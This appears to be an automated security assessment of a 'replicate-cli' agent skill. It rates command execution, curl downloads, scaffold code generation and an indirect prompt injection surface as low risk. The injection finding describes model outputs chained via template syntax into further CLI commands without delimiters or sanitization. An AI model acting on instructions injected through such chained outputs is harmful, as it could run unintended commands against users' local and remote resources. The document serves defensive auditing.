The Agent Skills Directory

Command Execution (LOW): The skill is primarily a guide for the replicate CLI. It provides instructions for running predictions, managing models, and fine-tuning. These commands are executed in the user's terminal and can impact local and remote resources.
External Downloads (LOW): The skill recommends using curl -L to download model outputs from Replicate URLs. While expected for the tool's purpose, this involves downloading data from external sources.
Indirect Prompt Injection (LOW): Category 8: Indirect Prompt Injection surface detected.
Ingestion points: Untrusted data enters the context via the {{.output[0]}} template syntax used in the Output Chaining section of SKILL.md.
Boundary markers: Absent; the skill does not suggest using delimiters or 'ignore' instructions when chaining model outputs.
Capability inventory: The skill uses replicate run and replicate train (subprocess/CLI execution) as primary capabilities.
Sanitization: Absent; model outputs are passed directly as inputs to subsequent commands without validation.
Dynamic Execution (LOW): The replicate scaffold command generates local project files (Node.js or Python) based on remote prediction IDs. This is a standard feature of the CLI but involves generating code from external data.

replicate-cli